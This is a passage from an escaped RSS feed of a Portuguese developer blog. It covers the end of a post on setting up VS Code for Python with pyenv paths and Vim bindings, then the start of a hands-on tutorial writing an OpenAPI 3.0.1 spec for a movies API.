        title=&quot;VS Code com Python&quot;
        src=&quot;/static/242f57ae87264056e1abda47eef7e913/6af66/vscode-python-example.png&quot;
        srcset=&quot;/static/242f57ae87264056e1abda47eef7e913/8514f/vscode-python-example.png 192w,
/static/242f57ae87264056e1abda47eef7e913/804b2/vscode-python-example.png 384w,
/static/242f57ae87264056e1abda47eef7e913/6af66/vscode-python-example.png 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;VS Code com Python&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;A configuração granular do editor permite que você tenha um determinado conjunto de regras para
cada projeto que esteja envolvido. Por exemplo, em um projeto pessoal você usa &lt;code class=&quot;language-text&quot;&gt;nose&lt;/code&gt; como
&lt;em&gt;test runner&lt;/em&gt;, além de &lt;code class=&quot;language-text&quot;&gt;pylamas&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;mypy&lt;/code&gt;. Mas no projeto da sua empresa o padrão é
&lt;code class=&quot;language-text&quot;&gt;pytest&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;isort&lt;/code&gt;, e a única ferramenta de &lt;em&gt;lint&lt;/em&gt; é o &lt;code class=&quot;language-text&quot;&gt;flake8&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;python.linting.flake8Path&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/home/klaus/.pyenv/versions/company-project/bin/flake8&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;python.pythonPath&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/home/klaus/.pyenv/versions/company-project/bin/python&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;python.sortImports.path&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/home/klaus/.pyenv/versions/company-project/bin/isort&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;python.linting.pylintEnabled&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Notou o &lt;em&gt;path&lt;/em&gt; com &lt;code class=&quot;language-text&quot;&gt;pyenv&lt;/code&gt;? Com a opção &lt;code class=&quot;language-text&quot;&gt;python.venvPath&lt;/code&gt; apontando para o diretório do &lt;em&gt;pyenv&lt;/em&gt;,
fica muito mais conveniente configurar qual interpretador e ferramentas de &lt;em&gt;lint&lt;/em&gt; utilizar. Ao
executar o comando &lt;code class=&quot;language-text&quot;&gt;Python: Select interpreter&lt;/code&gt; o &lt;em&gt;plugin&lt;/em&gt; levará em consideração os seus
ambientes virtuais e irá sugerí-los.&lt;/p&gt;
&lt;h2&gt;Vim bindings&lt;/h2&gt;
&lt;p&gt;É claro que você pode trazer umas das melhores coisas do &lt;em&gt;Vim&lt;/em&gt; para o &lt;em&gt;VS Code&lt;/em&gt;! Os &lt;em&gt;keys bindings&lt;/em&gt;
vão te dar a velocidade de escrita que você já está acostumado, e o &lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=vscodevim.vim&quot; title=&quot;Vim emulation for Visual Studio Code&quot;&gt;&lt;em&gt;VSCodeVim&lt;/em&gt;&lt;/a&gt; é uma excelente escolha como extensão.&lt;/p&gt;
&lt;p&gt;Obviamente que, por tratar-se de um emulador, não temos toda a experiência do &lt;em&gt;Vim&lt;/em&gt;. Para compensar a extensão já traz
algumas funcionalidades embutidas, como &lt;em&gt;easymotion&lt;/em&gt;, &lt;em&gt;surround&lt;/em&gt;, &lt;em&gt;commentary&lt;/em&gt; e &lt;em&gt;sneak&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Um dos maiores desafios que enfrentei com a adoção do &lt;em&gt;VS Code&lt;/em&gt; foi quebrar esse preconceito
bobo que todo &quot;fanboy&quot; tem com tecnologias que rivalizam com a sua. Na verdade, testar novas
ferramentas (como o &lt;em&gt;VS Code&lt;/em&gt;), tecnologias (como o &lt;em&gt;iOS&lt;/em&gt;) e até outras linguagens (como &lt;em&gt;Java&lt;/em&gt; e &lt;em&gt;Scala&lt;/em&gt;),
tem agregado muito ao meu crescimento profissional.&lt;/p&gt;
&lt;p&gt;E se você está torcendo o nariz para o fato do editor ser da &lt;em&gt;Microsoft&lt;/em&gt;, lembre-se:
&lt;a href=&quot;https://g1.globo.com/economia/tecnologia/noticia/microsoft-compra-github-por-us-75-bilhoes.ghtml&quot; title=&quot;Microsoft compra GitHub por US$ 7,5 bilhões e anuncia mudanças&quot;&gt;&lt;em&gt;Github&lt;/em&gt; também é dela&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Swagger na prática]]></title><description><![CDATA[Voltamos a falar de APIs, e voltamos a falar sobre especificações.
Para continuar o assunto sobre Swagger,
hoje vamos abordar o tema de uma…]]></description><link>https://klauslaube.com.br/2018/03/15/swagger-na-pratica.html</link><guid isPermaLink="false">https://klauslaube.com.br/2018/03/15/swagger-na-pratica.html</guid><pubDate>Thu, 15 Mar 2018 18:15:00 GMT</pubDate><content:encoded>&lt;p&gt;Voltamos a falar de &lt;a href=&quot;/tag/api.html&quot; title=&quot;Leia mais sobre APIs&quot;&gt;&lt;em&gt;APIs&lt;/em&gt;&lt;/a&gt;, e voltamos a falar sobre especificações.
Para continuar o assunto sobre &lt;a href=&quot;/2017/11/25/swagger-e-o-open-api-initiative.html&quot; title=&quot;Swagger e o OAI&quot;&gt;&lt;em&gt;Swagger&lt;/em&gt;&lt;/a&gt;,
hoje vamos abordar o tema de uma maneira prática. Afinal, é com ela que a gente vê as principais
vantagens de utilizar &lt;em&gt;Swagger&lt;/em&gt; + &lt;em&gt;Open API Spec&lt;/em&gt;, em relação aos concorrentes.&lt;/p&gt;
&lt;p&gt;Não deixe de conferir uma abordagem prática ao &lt;a href=&quot;/tag/raml.html&quot; title=&quot;Leia mais sobre RAML&quot;&gt;&lt;em&gt;RAML&lt;/em&gt;&lt;/a&gt;, no &lt;em&gt;post&lt;/em&gt;
&quot;&lt;a href=&quot;/2017/01/31/ramilificando-as-suas-apis.html&quot; title=&quot;Leia o artigo completo&quot;&gt;Ramilificando as suas APIs&lt;/a&gt;&quot;.&lt;/p&gt;
&lt;h2&gt;Aquecendo&lt;/h2&gt;
&lt;p&gt;E mais uma vez vamos usar o nosso &lt;a href=&quot;/2016/05/20/rest-parte-2.html&quot; title=&quot;REST - Parte 2&quot;&gt;mini &lt;em&gt;IMDB&lt;/em&gt;&lt;/a&gt; como exemplo.&lt;/p&gt;
&lt;p&gt;Além disso, vamos aproveitar as ferramentas que o pessoal do &lt;em&gt;Swagger&lt;/em&gt; disponibiliza gratuitamente. A começar pelo
&lt;a href=&quot;https://swagger.io/swagger-editor/&quot; title=&quot;API Development Tools&quot;&gt;&lt;em&gt;Swagger Editor&lt;/em&gt;&lt;/a&gt;. Não é necessário fazer
nenhum tipo de cadastro ou instalação no momento, apenas abrir o editor através do &lt;em&gt;link&lt;/em&gt; &quot;Online Editor&quot;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 600px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/38bde1abbcaf123f1744a17ab3a04572/b4294/poesia-vogon.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 57.29166666666667%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAQBAwX/xAAVAQEBAAAAAAAAAAAAAAAAAAABAv/aAAwDAQACEAMQAAABzxe+aWJE/8QAGRAAAwEBAQAAAAAAAAAAAAAAAQIDMgAR/9oACAEBAAEFAo0ZTU+WZiSNP1Nf/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwE//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPwE//8QAGhAAAgIDAAAAAAAAAAAAAAAAABEBIRASsf/aAAgBAQAGPwLXpVDkef/EABsQAQACAwEBAAAAAAAAAAAAAAEAESExQVFh/9oACAEBAAE/IUlS/BHuJTzER7I1zN3uKles7/Cf/9oADAMBAAIAAwAAABAIH//EABYRAQEBAAAAAAAAAAAAAAAAAAARMf/aAAgBAwEBPxDUf//EABcRAAMBAAAAAAAAAAAAAAAAAAABETH/2gAIAQIBAT8Qx0tP/8QAGxABAQADAQEBAAAAAAAAAAAAAREAITFRQXH/2gAIAQEAAT8QZGtPlafMRtCSeur+7xgFXb3LAjppt9uIAsGt269xK07UX1mf/9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Um Vogon, do filme O Guia do Mochileiro das Galáxias&amp;quot;&quot;
        title=&quot;Aguenta um pouco mais dessa poesia Vogon (imagilendo.wordpress.com)&quot;
        src=&quot;/static/38bde1abbcaf123f1744a17ab3a04572/b4294/poesia-vogon.jpg&quot;
        srcset=&quot;/static/38bde1abbcaf123f1744a17ab3a04572/7809d/poesia-vogon.jpg 192w,
/static/38bde1abbcaf123f1744a17ab3a04572/4ecad/poesia-vogon.jpg 384w,
/static/38bde1abbcaf123f1744a17ab3a04572/b4294/poesia-vogon.jpg 600w&quot;
        sizes=&quot;(max-width: 600px) 100vw, 600px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Aguenta um pouco mais dessa poesia Vogon (imagilendo.wordpress.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Ele trará um exemplo de especificação. Vamos limpar o editor e começar do zero.&lt;/p&gt;
&lt;h2&gt;Como começar?&lt;/h2&gt;
&lt;p&gt;Como explicado no &lt;em&gt;post&lt;/em&gt; anterior, &lt;em&gt;Swagger&lt;/em&gt; é um padrão de &lt;em&gt;API Spec&lt;/em&gt; mas também é um conjunto de ferramentas que podem trabalhar tanto com &lt;em&gt;Swagger Spec&lt;/em&gt; quanto com &lt;a href=&quot;https://github.com/OAI/OpenAPI-Specification&quot; title=&quot;The OpenAPI Specification&quot;&gt;&lt;em&gt;Open API Spec&lt;/em&gt;&lt;/a&gt;. Vamos começar o documento deixando clara a nossa escolha:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;openapi&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;3.0.1&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/OAI/OpenAPI-Specification/blob/master/versions/3.0.1.md&quot; title=&quot;Open API Spec Version 3.0.1&quot;&gt;Confira a versão 3.0.1 do &lt;em&gt;OAI&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;A essa altura o editor já deve ter apontado alguns erros. Por exemplo, é obrigatória a presença de um atributo &lt;a href=&quot;https://github.com/OAI/OpenAPI-Specification/blob/master/versions/3.0.1.md#infoObject&quot; title=&quot;Veja na especificação&quot;&gt;&lt;em&gt;info&lt;/em&gt;&lt;/a&gt; e &lt;a href=&quot;https://github.com/OAI/OpenAPI-Specification/blob/master/versions/3.0.1.md#pathsObject&quot;&gt;&lt;em&gt;path&lt;/em&gt;&lt;/a&gt;. Vamos corrigí-los:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;openapi&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;3.0.1&quot;&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;info&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Movies API
  &lt;span class=&quot;token key atrule&quot;&gt;version&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; v1
&lt;span class=&quot;token key atrule&quot;&gt;paths&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;/movies&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;summary&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; A set of movies&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Em &lt;code class=&quot;language-text&quot;&gt;info&lt;/code&gt;, descrevemos o título da nossa &lt;em&gt;API&lt;/em&gt; e sobre qual versão da mesma estamos falando (nesse caso, &lt;code class=&quot;language-text&quot;&gt;v1&lt;/code&gt;). Em &lt;code class=&quot;language-text&quot;&gt;paths&lt;/code&gt;, descreveremos os &lt;em&gt;endpoints&lt;/em&gt;. Com a adição dessas duas propriedades, podemos progredir com a construção da &lt;em&gt;API&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/01b0d8a9683947a281984003c7d4d709/6af66/swagger-editor-example.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 23.958333333333336%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAABMUlEQVQY01WM20oCURhG5xUis5voYCCmTs6Yx1EIgozuuu5pjC5EqVDpInqUKMqsVxAKQi86kKUyMtmk46z2TCG1fxbfz9p7f9JJTeH0NsHxlZ/i2RRHF3Mcns9SuVwSLuBSrc1Trk9Tvva4VOozVG+8Ir3Ce/4h7W5obOayrOdSxFMh1hJBl1gyTFJTCIaXKR7kAZPPYQfT6mKYb+iDZ4yvFwbCDYbv7p1htpF24imysRTRaJxQUGYlEHIzKJDDqywu+NjL79NqPtFoPHB33xTZ4vG1JYra/D32GKTtdJqtZJKEIJPJoGkaqqoIVGKxNfx+P6VSkbF43el20XUd48PAtu2fEuFdxIysEZIsy6iRCIqiTHCcg7P7fD4KhQLO916vR7/fRxdYlvVbaE/KHfcNJXUOn7zZ1hoAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Exemplo Swagger Editor&amp;quot;&quot;
        title=&quot;Exemplo Swagger Editor&quot;
        src=&quot;/static/01b0d8a9683947a281984003c7d4d709/6af66/swagger-editor-example.png&quot;
        srcset=&quot;/static/01b0d8a9683947a281984003c7d4d709/8514f/swagger-editor-example.png 192w,
/static/01b0d8a9683947a281984003c7d4d709/804b2/swagger-editor-example.png 384w,
/static/01b0d8a9683947a281984003c7d4d709/6af66/swagger-editor-example.png 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Exemplo Swagger Editor&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/OAI/OpenAPI-Specification/blob/master/versions/3.0.1.md#openapi-object&quot; title=&quot;Leia na especificação&quot;&gt;Conheça os atributos do &lt;em&gt;OpenAPI Object&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Descrevendo os dados&lt;/h2&gt;
&lt;p&gt;Antes mesmo de adicionarmos os &lt;em&gt;endpoints&lt;/em&gt; na propriedade &lt;code class=&quot;language-text&quot;&gt;paths&lt;/code&gt;, vamos parar e descrever o &lt;em&gt;schema&lt;/em&gt; dos nossos dados. Nesse exemplo, o uso da propriedade &lt;code class=&quot;language-text&quot;&gt;components&lt;/code&gt; pode ser um &quot;overhead&quot;, mas para &lt;em&gt;APIs&lt;/em&gt; grandes, com vários &lt;em&gt;endpoints&lt;/em&gt;, essa separação ajudará na legibilidade e reaproveitamento de código:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;(&lt;span class=&quot;token punctuation&quot;&gt;...&lt;/span&gt;)

&lt;span class=&quot;token key atrule&quot;&gt;paths&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;/movies&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;summary&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; A set of movies

&lt;span class=&quot;token key atrule&quot;&gt;components&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;schemas&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;Movie&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;properties&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; string
        &lt;span class=&quot;token key atrule&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; string
        &lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; string
      &lt;span class=&quot;token key atrule&quot;&gt;required&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; id
        &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; title
      &lt;span class=&quot;token key atrule&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; object&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;Movie&lt;/code&gt; é um objeto e possui três propriedades: &lt;code class=&quot;language-text&quot;&gt;id&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;title&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;description&lt;/code&gt;, e as duas primeiras são obrigatórias. Você pode estar estranhando o &lt;code class=&quot;language-text&quot;&gt;id&lt;/code&gt; ser do tipo &lt;code class=&quot;language-text&quot;&gt;string&lt;/code&gt;. Nesse exemplo estamos assumindo que os identificadores são &lt;code class=&quot;language-text&quot;&gt;uuids&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/aa469e31e48b67482451d806b46f4142/6af66/swagger-editor-example-2.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 48.4375%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB6klEQVQoz22SzW7TQBSF/QYsQWKBEylCEP87ickfSNASWCA2rHgVpACJbcQGXoDSZaVUSEjd9BVK2YHUgoiLWICUIKWOk9ixkxzuTFs3Aa51NNcezeczc0Z4uX0Nr3cKePH+Kp5sXcCzziU87VzE8+3LcN5l0OqIeLWbw+ZHBW/2ZGx8kPF2X8HmvoaNPfZNWpHwoFjGvXIVlVt1GLqJ/HUJUl5GnqQoGsQrBG3ZYBVPE8ySOcJJjGDsY7aI8HcJddNE1TBhkGSZgfKQJIn3qqoim82i2Wzi6PsPfPp8gIPDrzj8coSffQ9h8ptDFotFKuF2qYRGoQBT11Gi3rIscqZwKANmMhm0222+8Nj3MRqNMJlMUkcp7PQR7hLgYcmCpmocoGkad7cCbJ0Cj30EwYhrNputOEsd1sjdoxtl1HQjBS1vWRRFOI6DKIo4iNV8PudKkoSLwUOaZ6Mgk6OKpqNBLi0Cn213Geg6LuI4RvdbF8PhkMAB+v0B9QE/AvbORvYTQaWzqxPwcbWOxp21/wJt2+HOvK6HXq/HF3veLwwG/r9AjWA3Ken75QpM43zb8tIZ2vbJtRmPxwjDkEIJMZ1Gac/Eeg40CVajdNfW11EoFikcFTq5ZmJzuVwOruty4EkQ5+ku11kofwBXWCUqZmkwHQAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Editor do Swagger exibindo a seção models&amp;quot;&quot;
        title=&quot;Editor do Swagger exibindo a seção models&quot;
        src=&quot;/static/aa469e31e48b67482451d806b46f4142/6af66/swagger-editor-example-2.png&quot;
        srcset=&quot;/static/aa469e31e48b67482451d806b46f4142/8514f/swagger-editor-example-2.png 192w,
/static/aa469e31e48b67482451d806b46f4142/804b2/swagger-editor-example-2.png 384w,
/static/aa469e31e48b67482451d806b46f4142/6af66/swagger-editor-example-2.png 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Editor do Swagger exibindo a seção models&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/OAI/OpenAPI-Specification/blob/master/versions/3.0.1.md#schemaObject&quot; title=&quot;Veja na especificação&quot;&gt;Saiba mais sobre &lt;em&gt;Schema Objects&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Descrevendo os endpoints&lt;/h2&gt;
&lt;p&gt;Os principais &lt;em&gt;endpoints&lt;/em&gt; que imaginamos para esse projeto são:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;GET /movies&lt;/code&gt;: Listagem de filmes;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;POST /movies&lt;/code&gt;: Adição de um filme;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;GET /movies/{id}&lt;/code&gt;: Detalhes de um filme;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;PUT /movies/{id}&lt;/code&gt;: Atualização de um filme;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;DELETE /movies/{id}&lt;/code&gt;: Remoção de um filme.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A listagem é um bom ponto de partida.&lt;/p&gt;
&lt;h3&gt;Listando filmes&lt;/h3&gt;
&lt;p&gt;Voltando à propriedade &lt;code class=&quot;language-text&quot;&gt;paths&lt;/code&gt;, vamos melhorar a definição do &lt;code class=&quot;language-text&quot;&gt;/movies&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;(&lt;span class=&quot;token punctuation&quot;&gt;...&lt;/span&gt;)

&lt;span class=&quot;token key atrule&quot;&gt;paths&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;/movies&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;summary&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; A set of movies
    &lt;span class=&quot;token key atrule&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;summary&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Get a list of movies
      &lt;span class=&quot;token key atrule&quot;&gt;responses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;&apos;200&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Movie list response
          &lt;span class=&quot;token key atrule&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token key atrule&quot;&gt;application/json&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
              &lt;span class=&quot;token key atrule&quot;&gt;schema&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;token key atrule&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; array
                &lt;span class=&quot;token key atrule&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
